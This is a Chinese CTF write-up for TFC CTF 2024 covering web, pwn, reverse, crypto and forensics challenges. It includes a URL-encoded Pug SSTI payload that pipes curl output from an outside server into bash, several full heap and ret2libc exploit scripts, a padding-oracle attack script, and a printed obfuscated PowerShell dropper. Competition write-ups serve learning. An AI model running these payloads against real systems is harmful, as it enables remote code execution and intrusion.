TFC CTF · 2024 WriteUp

WriteUp 1个月前 admin
248 0 0

点击蓝字

TFC CTF · 2024 WriteUp

关注我们



声明

本文作者:CTF战队
本文字数:16263字

阅读时长:约40分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


TFC CTF · 2024 WriteUp

TFC CTF · 2024 WriteUp


https://ctf.thefewchosen.com/challenges 

This year, The Few Chosen are thrilled to host our fourth annual Capture The Flag (CTF) event, set to take place from August 2nd to 4th, 2024.

We, a committed team of cyber enthusiasts who’ve cut our teeth on countless CTFs, are channelling our passion for cybersecurity into curating this unique, immersive CTF experience. We’ve meticulously engineered the event’s website from scratch, ensuring a seamless and enriching user experience. Our diverse set of challenges spans Pwn, Reverse, Web, Crypto, and Misc, each graded from “Warmup” to “Hard”.

This deliberate spectrum of difficulty ensures our CTF event is universally accessible – from cybersecurity novices eager to learn the ropes, to seasoned experts looking to flex their skills in a challenging environment. Mark your calendars for a uniquely immersive cybersecurity adventure. The Few Chosen CTF 2024: The perfect platform for honing skills, fueling passions, and embracing the cybersecurity community.

Sponsors:
Google
Offensive Security
HackTheBox
Binary Ninja

Infra sponsored by goo.gle/ctfsponsorship

WEB

GREETINGS

Welcome to our ctf! Hope you enjoy it! Have fun 欢迎来到我们的ctf!希望你喜欢它!玩得开心

TFC CTF · 2024 WriteUp
SSTI

pug 的 SSTI

TFC CTF · 2024 WriteUp
SSTI
GET /result?username=%23%7b%66%75%6e%63%74%69%6f%6e%28%29%7b%6c%6f%63%61%6c%4c%6f%61%64%3d%67%6c%6f%62%61%6c%2e%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%63%6f%6e%73%74%72%75%63%74%6f%72%2e%5f%6c%6f%61%64%3b%73%68%3d%6c%6f%63%61%6c%4c%6f%61%64%28%22%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%22%29%2e%65%78%65%63%28%27%63%75%72%6c%20%34%33%2e%31%33%35%2e%31%34%32%2e%37%37%3a%37%30%30%31%2f%72%2e%74%78%74%7c%62%61%73%68%27%29%7d%28%29%7d HTTP/1.1
Host: challs.tfcctf.com:32230
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challs.tfcctf.com:32230/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

用了海外的服务器接收shell,国内的接收不到

TFC CTF · 2024 WriteUp
shell

参考:https://github.com/TheWation/NodeJsSSTI

Pwn

GUARD-THE-BYPASS

Guard this cookie.

Note: If you successfully create a working exploit in the provided Docker, ensure you try the exploit multiple times on the remote system if any issues arise. 

保护好这个饼干。 

注意:如果您在提供的 Docker 中成功创建了一个有效的漏洞利用程序,请确保在出现任何问题时在远程系统上多次尝试利用该漏洞利用程序。

是个多线程程序,溢出覆盖栈上高地址位的canary绕过canary,然后ret2libc,直接用ogg打

from pwn import *
from pwncli import *

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
p       = lambda s: print('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

elf = ELF("./pwn")
io = remote("",)
ru(b"chall.n")
sl(b"1")
sleep(0.5)
ru("len: ")
sl(f"{0x1000}".encode())
sleep(0.5)
rdi_ret = 0x0000000000401256
ret = 0x000000000040101a
data = 0x404280
d = p64(data)*7 + p64(rdi_ret) + p64(elf.got['getchar']) + p64(elf.plt['puts']) + p64(elf.sym['game'])
d += ((0x850 - len(d))//8) * p64(data)
sl(d)
sleep(0.5)
ogg = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd3f,0xebd43]
getchar = u64(io.recv(6).ljust(8,b"x00"))
libc = ELF("./libcs/libc.so.6")
libc_base = getchar - libc.sym['getchar']
p("libc_base")

d = p64(data)*7 
d = b"x00" + d + p64(libc_base + ogg[5])
sl(d)
sleep(0.5)
io.interactive()

VSPM 

I got tired of remembering my passwords… Password managers are so useful!

我厌倦了记住密码…密码管理器太有用了!

一道基础的堆题,太久没写堆,调了好久。。。 经典菜单题

TFC CTF · 2024 WriteUpadd里面有个溢出,可以覆盖bss中存储的chunk指针

TFC CTF · 2024 WriteUp
限制

由于前面限制了size小于等于0x78,所以需要先构造unsorted bin泄露libc,通过在两个堆块的data区域写header信息,然后低字节溢出修改bss上chunk指针,指向伪造的大堆块,free后得到块unsortedbin

TFC CTF · 2024 WriteUp
申请内存

然后申请一块内存,利用unsortedbin的残余数据拿到libc地址,接着就是free伪造堆块内部的一块0x70的chunk得到fastbin,从unsortedbin申请内存改写该fastbin的fd,fastbin attack打malloc hook

from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
p       = lambda s: print('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

def g():
    gdb.attach(io)
    raw_input()

elf = ELF("./pwn")
io = remote("",)

def add(size,c1,c2):
    sla(b"Input: ",b"1")
    sla(b"length: ",str(size).encode())
    sa(b"Enter credentials:",c1)
    sa(b"the credentials:",c2)

def show():
    sla(b"Input: ",b"2")

def delete(idx):
    sla(b"Input: ",b"3")
    sla(b"index:",str(idx).encode())


add(0x60,p64(0)+p64(0x121),b"a"# 0
add(0x60,b"B",b"b"# 1
add(0x60,b"C"*0x48 +p64(0x21),b"c"# 2


delete(1)
add(0x60,b"A",b"a"*0x20+b"x20"# 1 
delete(2)
add(0x20,b"xc0",b"a"# 2
show()
ru(b"2. a --> ")
__malloc_hook = u64(io.recv(6).ljust(8,b"x00")) - 0x70 - 0x100
libc = ELF("./libcs/libc-2.30.so")
libc_base = __malloc_hook - libc.sym['__malloc_hook']
p("libc_base")
delete(1)
add(0x70,b"D"*0x28+p64(0x71)+p64(__malloc_hook-0x23),b"A")
add(0x60,b"A",b"a")
ogg = [0x42e69,0x42e7a,0x6f821,0x6f82f,0x6f834,0xc4dbf,0xc4ddf,0xc4de6,0xe1fa1,0xe1fad]
add(0x60,b"A"*0xb+p64(0)+p64(libc_base+ogg[8]),b"a")
sla(b"Input: ",b"1")
sla(b"length: ",b"32")
# g()
io.interactive()

MCBACK2DABASICS

Back 2 the chunks back 2 the muney back 2 the writes I don’t listen 2 u when u corrupted cause u just talkin out of bytes You’ll clear some certain bins just to see us overwrite… 

返回 2 个块 返回 2 个货币 返回 2 个写入,我不听 2 当你损坏时,因为你只是谈论字节不足 你会清除某些特定的垃圾箱,只是为了看到我们覆盖…

同样堆题,但是没show

TFC CTF · 2024 WriteUp

有uaf

TFC CTF · 2024 WriteUp
uaf

并且申请的堆块大小有限制

TFC CTF · 2024 WriteUp
大小

思路就是

  1. 通过uaf构造double free,在堆块中伪造chunk,覆盖fd低字节fastbin attack构造堆块重叠,修改chunk的size大于fastbin的范围,free后得到unsorted bin
  2. 通过调整使得fastbin的fd和unsorted bin的fd重叠,从而在fastbinfd上有libc地址,由于main_area和_IO_2_1_stdout_离得很近,所以覆盖低2字节使得fd有十六分之一的概率落在_IO_2_1_stdout_上方
  3. 通过fastbin attack修改_IO_2_1_stdout_中的_IO_write_base,使得调用puts时会输出内容,其中就包含libc地址
  4. 拿到libc地址后fastbin attack攻击malloc hook,将其覆盖为ogg获取shell
from pwn import *

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
p       = lambda s: print('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

def g():
    gdb.attach(io)
    raw_input()


def add(size,content):
    sla(b"[+]> ",b"1")
    sla(b"[+]> ",str(size).encode())
    sa(b"Data?",content)

def quit():
    sla(b"[+]> ",b"3")

def delete(idx):
    sla(b"[+]> ",b"2")
    sla(b"[+]> ",str(idx).encode())

libc = ELF("./libc-2.24.so")

def exp():
    add(0x60,b"A"*0x18+p64(0x71)) # 0
    add(0x60,b"B"*0x18+p64(0x51)+b"A"*8+p64(0x71)) # 1
    add(0x60,b"C"# 2
    add(0x60,b"D"*0x18+p64(0x51)) # 3

    delete(1)
    delete(2)
    delete(1)
    add(0x60,b"xa0"# 4
    add(0x60,b"E"# 5
    add(0x60,b"F"# 6
    add(0x60,b"F"# 7 # ------

    delete(0)
    delete(1)
    delete(0)

    add(0x60,b"x20"# 8
    add(0x60,b"E"# 9
    add(0x60,b"F"# 10

    add(0x60,b"B"*0x48+p64(0x101)) # 11
    delete(2)
    add(0x60,b"A"*0x28+p64(41)) # 12
    delete(2)
    delete(1)
    delete(7)
    
    add(0x40,b"A"# 13
    add(0x10,b"A"# 14
    print("-------")
    add(0x60,b"A"*0x38+p64(0x71)+p16(0x35bd)) # 15
    # g()
    add(0x60,b"A"# 16
    add(0x61,b"x00"*0x33+p64(0xfbad1800) + p64(0) * 3 + p8(0)) # 17
    ru("x00x18xadxfb")
    r(36)
    libc_base = u64(r(6).ljust(8,b"x00")) - 131 - libc.sym['_IO_2_1_stdout_']
    __malloc_hook = libc_base + libc.sym['__malloc_hook']
    add(0x60,b"A"# 18
    add(0x60,b"A"# 19
    delete(18)
    delete(19)
    delete(18)
    add(0x60,p64(__malloc_hook-0x23)) # 18
    add(0x60,b"A"# 19
    add(0x60,b"A"# 19
    ogg = [0x4551f,0x45526,0x4557a,0xcde41,0xce0e1,0xce0e5,0xce0e9,0xf1651,0xf165d,0xf24cb]
    add(0x60,b"A"*0xb+p64(0)+p64(libc_base+ogg[5])) # 19

    sla(b"[+]> ",b"1")
    sla(b"[+]> ",f"{0x60}".encode())
    # g()

while True:
    try:
        io = remote("challs.tfcctf.com",31252)
        exp()
        io.interactive()
    except KeyboardInterrupt:
        exit(0)
    except:
        io.close()
        continue

Misc

RULES

Read the rules!

阅读规则!


TFC CTF · 2024 WriteUp
规则

DISCORD SHENANIGANS V4

TFC CTF · 2024 WriteUp
flag

复制下来

TFC CTF · 2024 WriteUp
flag

Reverse

SIGNAL

Can you catch the right signals for the flag?

The flag length is 32 bytes (without the flag format). 

你能捕捉到旗帜的正确信号吗?

标志长度为32字节(无标志格式)。

很有意思的题。附件拖入ida

TFC CTF · 2024 WriteUp
ida
TFC CTF · 2024 WriteUp
信号检查

问问gpt。看起来是利用信号来检查

TFC CTF · 2024 WriteUp
GPT

解出很简单,拼凑起来即可

TFC CTF · 2024 WriteUp
拼凑
TFC CTF · 2024 WriteUp
拼凑

TFCCTF{b11e807f65b27dcf82e70c4bad63a3eb}

X8

Who needs more than 8 bits anyway? 谁需要8位以上呢?

给了两个附件,x8拖入ida

TFC CTF · 2024 WriteUp
ida
TFC CTF · 2024 WriteUp
ida
TFC CTF · 2024 WriteUp
ida

稍微一调试,就能发现x8::vm::VM::run是关键,进去看看

TFC CTF · 2024 WriteUp
调试

再稍微一调试,就发现上图是更关键的部分,包含输入和输出部分,而那个instruction parse函数一看都引不起兴趣,所以核心是中间两个rdx和r15的call。进入调试部分

TFC CTF · 2024 WriteUp
调试
TFC CTF · 2024 WriteUp
调试

第一遍第一个call如上图所示,返回值al等于3,看名称应该是指令的长度,而且好像是cmp指令。第一遍第二个call如下图所示,看起来像是执行了mov指令

TFC CTF · 2024 WriteUp
mov
TFC CTF · 2024 WriteUp
mov

第二个call的参数rsi的内容如下,刚好对应program.bin文件的内容

TFC CTF · 2024 WriteUp
program.bin

多记录几条,方便总结规律。并且发现好像一直在改变rsi的内容

TFC CTF · 2024 WriteUp
规律

最后rsi的内容如下

TFC CTF · 2024 WriteUp
rsi

然后就是输入,继续调试并且记录

TFC CTF · 2024 WriteUp
调试

不难发现,好像是逐个比较,详细追踪vm的mov指令执行过程就能找到vm的寄存器位置,下图中的0x31即为我的输入首个字符

TFC CTF · 2024 WriteUp
逐个比较

发现好像就是输入与右边第一个字节异或后再与右边第二个字节比较,右边第二个字节还是经过一系列与输入无关的运算才得到的

TFC CTF · 2024 WriteUp
比较

那直接手搓就好了,问题是不可能只得到一位字符就让程序退出吧,肯定是希望无论对错,程序都能一直执行下去。那就要patch一下了,可以选择改vm的cmp执行,原结果是cl,那直接赋值1就行了

TFC CTF · 2024 WriteUp
patch
TFC CTF · 2024 WriteUp
flag

TFCCTF{3ede51da1709268b2cefddcd93c4cd98}

VIRTUAL-REV

I managed to break into a secret infrastructure, but it seems they use some weird language… 

我设法闯入了一个秘密的基础设施,但似乎他们使用了一些奇怪的语言…

附件拖入ida

TFC CTF · 2024 WriteUp
ida
TFC CTF · 2024 WriteUp
ida
TFC CTF · 2024 WriteUp
ida

最后一个函数是输出flag部分,要满足五个数相等,而这五个数所在的数组即vm的内存和寄存器,需要构造合适的vm指令进行运算,最后得到这五个数

TFC CTF · 2024 WriteUp
vm

vm指令分为两种,有两个操作数的和只有一个操作数的,没有立即数寻址,只能在vm的内存(或者可以把内存全看成寄存器,也就是有七个寄存器)进行计算

TFC CTF · 2024 WriteUp
寄存器

理解函数作用是第一层,这一层就不多说,自己调试加理解,如上图所示,但里面那个shl左移指令好像在特定情况下是会多移一位,有点小坑。第二层是构造汇编指令,同时还要转成限定的助记符,这也不用多说,看脚本就完了

from pwn import *
#from LibcSearcher import *

local=0
if local==1:
    p=remote('192.168.202.129',10001)
else:
    p=remote('challs.tfcctf.com',31545)
    
#context.log_level='debug'    
#context.arch='i386'
#context.os='linux'
p.recvuntil(b'Insert luma code: n')
payload=b'''OAN lax
OAN lax
MISZ l3,lax
MISZ l4,lax
MISZ l5,lax
STF l5,lax
RALK l0,l5
XKA l5,lax
RALK l0,l5
XKA l5,lax
RALK l0,l5
OAN lax
STF l5,lax
MAZ lax
MISZ l1,l5
RALK l0,l5
OAN l0
XKA l5,lax 
XKA l5,lax
RALK l0,l5
LQDM l1,l3
STF l3,l4
XKA l3,l4
MQZL l1,l3
MISZ l2,l1
XKA l4,lax
MQZL l1,l4
RALK l2,l4
OAN l2
MISZ l3,l1
OAN l3
MISZ l5,l4
MISZ l4,l1
XKA lax,l5
MQZL l4,lax
MQZL l4,l5
OAN l4
FLG'''

p.sendline(payload)
p.interactive()
#TFCCTF{70b3b426b72ed46f6595c4107797b21821757ea75a91fe887c952c03f84c0e06}

BRAVE TRAVELER

There’s a whole world left to explore. 

还有整个世界有待探索。

附件拖入ida

TFC CTF · 2024 WriteUp
ida
TFC CTF · 2024 WriteUp
ida
TFC CTF · 2024 WriteUp
ida

程序看着挺简单,但是有点脑洞。运行一看

TFC CTF · 2024 WriteUp
运行

发现好像左右括号都没有,明明看见了123和125。先提取所有的set插入操作

(46,10),(95,72),(111,100),(105,125),(100,108),(100,117),(108,99),(101,97),(111,48),(108,107),(0,103),(107,46),(123,101),(97,53),(84,70),(70,67),(95,106),(97,121),(53,98),(103,111),(100,32),(95,81),(53,102),(53,115),(115,95),(81,105)

TFC CTF · 2024 WriteUp
set

按照程序输出逻辑,确实不会输出左右括号,因为根节点写死为0了(queue的第一次push了0)。但如果按照flag的格式,又发现没有set里存放的是84即’T’,只有一个84的根节点。换种思路,倒过来想,再看看125即’}’,发现有而且能向上推,刚好到123即'{‘。bfs遍历即得

TFC CTF · 2024 WriteUp
bfs

TFCCTF{ea5ybfs_HQji}

Crypto

CCCCC

CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC CCCCC

5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca

把c去掉即可

from Crypto.Util.number import *

data = "5c4c4c6c4c3c4c3c5c4c4c6c7cbc6c3c7c3c6c8c6cfc7c5c7c4c5cfc6c3c6cfc7c5c7c4c5cfc6c3c7c4c3c0c5cfc6c3c6cdc7c9c5cfc6c3c6c2c3c0c7c9c5cfc6c3c3c4c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c4c6cfc6c7c5cfc6c3c6c1c6cec6c4c5cfc6c3c6cdc7c9c5cfc6c3c6c3c3c4c3c7c7cdc0ca"
data = data.split("c")
data = int("".join(data),16)
data = long_to_bytes(data)
print(data)

Genetics

I just took a quick look at my DNA. I feel like I was created for this CTF.

CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC

DNA编码,有8种情况,写个脚本遍历所有情况就行

TFC CTF · 2024 WriteUp
DNA
from Crypto.Util.number import *

DNA = [
        {"A":"00","C":"01","G":"10","T":"11"},
        {"A":"01","C":"00","G":"11","T":"10"},
        {"A":"10","C":"11","G":"00","T":"01"},
        {"A":"11","C":"01","G":"10","T":"00"},
        {"A":"10","C":"00","G":"11","T":"01"},
        {"A":"00","C":"10","G":"01","T":"11"},
        {"A":"11","C":"10","G":"01","T":"00"},
        {"A":"01","C":"11","G":"00","T":"10"}
    ]

data = "CCCA CACG CAAT CAAT CCCA CACG CTGT ATAC CCTT CTCT ATAC CGTA CGTA CCTT CGCT ATAT CTCA CCTT CTCA CGGA ATAC CTAT CCTT ATCA CTAT CCTT ATCA CCTT CTCA ATCA CTCA CTCA ATAA ATAA CCTT CCCG ATAT CTAG CTGC CCTT CTAT ATAA ATAA CGTG CTTC".replace(" ","")

for dic in DNA:
    new_data = data
    for k,v in dic.items():
        new_data = new_data.replace(k,v)
    print(long_to_bytes(int(new_data,2)))

PADGROUNDS

Welcome to Padgrounds, where every bit counts. Dive into the action and let your skills shine as you unravel the coded enigma.

Note: Make sure your solver works locally before running on remote.

欢迎来到 Padgrounds,这里的每一点都很重要。投入行动,在解开密码谜团时发挥你的技能。 注意:在远程运行之前,请确保您的解算器可以在本地运行。

有点抽象,就是padding Oracle,但是返回值是一个概率正确的值,所以要多次尝试通过概率来确定当前值是否正确,本地可以秒出,远程爆破时间真的长。。 其中getOk那应该是可以优化的,通过统计False应该更快

from pwn import *
import base64

# context.log_level = "debug"
# io = remote("127.0.0.1",9999)
io = remote("challs.tfcctf.com",30242)
io.recvuntil(b"this: ")
b64data = io.recvuntil(b"n",drop=True)
io.recvuntil(b"alreadyn")
data = base64.b64decode(b64data)
print(data)
cipher0, cipher = data[:16], data[16:]
cipher1 = cipher[:16]
cipher2 = cipher[16:32]
cipher3 = cipher[32:]
tag = b"CTF{bdefgmnprsu012345_}"
cnt = 0

def xorkey(data,key):
    return bytes([i^key for i in data])

def xorxor(k1,k2):
    return bytes([i^j for i,j in zip(k1,k2)])

def getOk(data):
    global cnt
    times = 0
    for _ in range(20):
        cnt += 1
        io.sendline(data)
        # print(cnt)
        if b"True" in io.recvuntil(b"n"):
            times += 1

        if times >= 12:
            return True
    print(cnt)
    return times >= 12


res = b""
for i in range(0,3):
    r_iv = eval(f"cipher{i}")
    mid = b""
    back_iv = b""
    head_iv = r_iv[:-1]
    data = eval(f"cipher{i+1}")
    print("head_iv ==> ",head_iv)
    print("data ==> ",data)

    while True:
        j = len(mid) + 1
        if j == 17:
            break
        print("------------------------------")
        for k in range(256):
            new_iv =  head_iv + int.to_bytes(k) + back_iv
            new_data = new_iv + data
            trydata = base64.b64encode(new_data)
            trymid = int.to_bytes(j^k^r_iv[16-j])
            if (trymid in tag) and getOk(trydata):
                mid = int.to_bytes(j^k) + mid
                head_iv = head_iv[:-1]
                back_iv = xorkey(mid,j+1)
                print(mid)
                break
        
    res += xorxor(r_iv,mid)
    print(res)
    input()

print(res)
print(cnt)

# TFCCTF{g00d_p4dd1ngs_m4_fr1end5_rememb3r_2_fun1}

FORENSICS

HE DID WHAT?!

After the attacker connected to our server, he managed to extract some random data, however encrypted. We trust to decrypt it and get the flag.

攻击者连接到我们的服务器后,他设法提取了一些随机数据,无论数据如何加密。我们相信能够解密它并获得标志。

TFC CTF · 2024 WriteUp
流量
TFC CTF · 2024 WriteUp
流量
TFC CTF · 2024 WriteUp
流量
$FBtFFDr8NXp5 = "=oQDiUGel5SYjF2YiASZslmR0V3TtASKpkiI90zZhFDbuJGc5MEZoVzQilnVIRWe5cUY6lTeMZTTINGMShUYigyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1WocmbpJHdTRXZH5COGRVV6oTXn5Wak92YuVkL0hXZU5SblR3c5N1WoASayVVLgQ3clVXclJlYldVLlt2b25WS" ;
$w9r4pBoZlnfIzH1keCtX = $FBtFFDr8NXp5.ToCharArray() ; [array]::Reverse($w9r4pBoZlnfIzH1keCtX) ; -join $w9r4pBoZlnfIzH1keCtX 2>&1> $null ;
$SCr = [SyStem.TexT.encODINg]::uTF8.GeTsTrInG([SYSteM.coNVErT]::froMBaSe64STrinG("$w9r4pBoZlnfIzH1keCtX")) ;
$uqR = "i"+"N"+"V"+"o"+"k"+"e"+"-"+"E"+"X"+"p"+"r"+"E"+"S"+"S"+"i"+"O"+"n" ; NEW-aLIaS -naME pWN -VaLuE $uqR -FORCe ; PWN $SCr ;
.caca.exe "VHEEVH}x3uwcnad6u3eac3pvaj6tf"

第一行base64解码获得 exe 的短链接,反编译 exe

#include <stdio.h>
#include <string.h>

void decryptString(char *str) {
    int i;
    int len = strlen(str);

    for (i = 0; i < len; i++) {
        str[i] = str[i] - 2
    }
}

int main() {
    char str[] = "VHEEVH}x3uwcnad6u3eac3pvaj6tf";

    printf("原始字符串: %sn", str);

    decryptString(str);

    printf("解密后字: %sn", str);

    return 0;
}

TFCCTF{v1sual_b4s1c_a1nt_h4rd}





作者



TFC CTF · 2024 WriteUp

CTF战队

ctf.wgpsec.org



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


TFC CTF · 2024 WriteUp
TFC CTF · 2024 WriteUp


原文始发于微信公众号(WgpSec狼组安全团队):TFC CTF · 2024 WriteUp

版权声明:admin 发表于 2024年8月5日 下午3:48。
转载请注明:TFC CTF · 2024 WriteUp | CTF导航

相关文章